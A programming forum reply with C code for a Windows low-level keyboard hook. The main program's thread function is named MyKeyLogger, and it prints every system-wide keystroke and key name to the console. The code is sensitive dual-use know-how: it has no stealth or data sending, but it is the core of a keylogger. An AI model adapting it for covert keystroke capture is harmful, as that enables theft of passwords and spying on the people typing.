A more understandable approach.
Code:
BOOL IsBitSet(LPARAM lParam, int bit)
{
return ( lParam & (1<<bit) ) ? true : false;
}
I'm not sure how you got your code to work. For instance, you're using wParam to capture your keyboard. But wParam is only a message identifier. lParam actually contains the message structure that you need to access. Also, the current_length variable wll always be ZERO unless you declare it as static. But anyway, here's a working example of what I believe you're trying to do. I haven't tested it thoroughly. That's up to you.
Code:
#define _WIN32_WINNT 0x0400
#pragma comment( lib, "user32.lib" )
#include <windows.h>
#include <stdio.h>
HHOOK hKeyboardHook;
__declspec(dllexport) LRESULT CALLBACK KeyboardEvent (int nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) &&
((wParam == WM_SYSKEYDOWN) ||
(wParam == WM_KEYDOWN)))
{
KBDLLHOOKSTRUCT hooked_key =
*((KBDLLHOOKSTRUCT*)lParam);
DWORD dwMsg = 1;
dwMsg += hooked_key.scanCode << 16;
dwMsg += hooked_key.flags << 24;
char lpszKeyName[1024] = {0};
lpszKeyName[0] = '[';
int i = GetKeyNameText(dwMsg,
(lpszKeyName+1),0xFF) + 1;
lpszKeyName[i] = ']';
int key = hooked_key.vkCode;
if (key >= 'A' && key <= 'Z')
{
if (GetAsyncKeyState(VK_SHIFT)>= 0)
key +=32;
printf("key = %c\n", key);
}
printf("lpszKeyName = %s\n", lpszKeyName);
}
return CallNextHookEx(hKeyboardHook,
nCode,wParam,lParam);
}
void MessageLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}
DWORD WINAPI MyKeyLogger(LPVOID lpParm)
{
HINSTANCE hInstance = GetModuleHandle(NULL);
if (!hInstance) hInstance = LoadLibrary((LPCSTR) lpParm);
if (!hInstance) return 1;
hKeyboardHook = SetWindowsHookEx (
WH_KEYBOARD_LL,
(HOOKPROC) KeyboardEvent,
hInstance,
NULL
);
MessageLoop();
UnhookWindowsHookEx(hKeyboardHook);
return 0;
}
int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
MyKeyLogger, (LPVOID) argv[0], NULL, &dwThread);
if (hThread)
return WaitForSingleObject(hThread,INFINITE);
else return 1;
}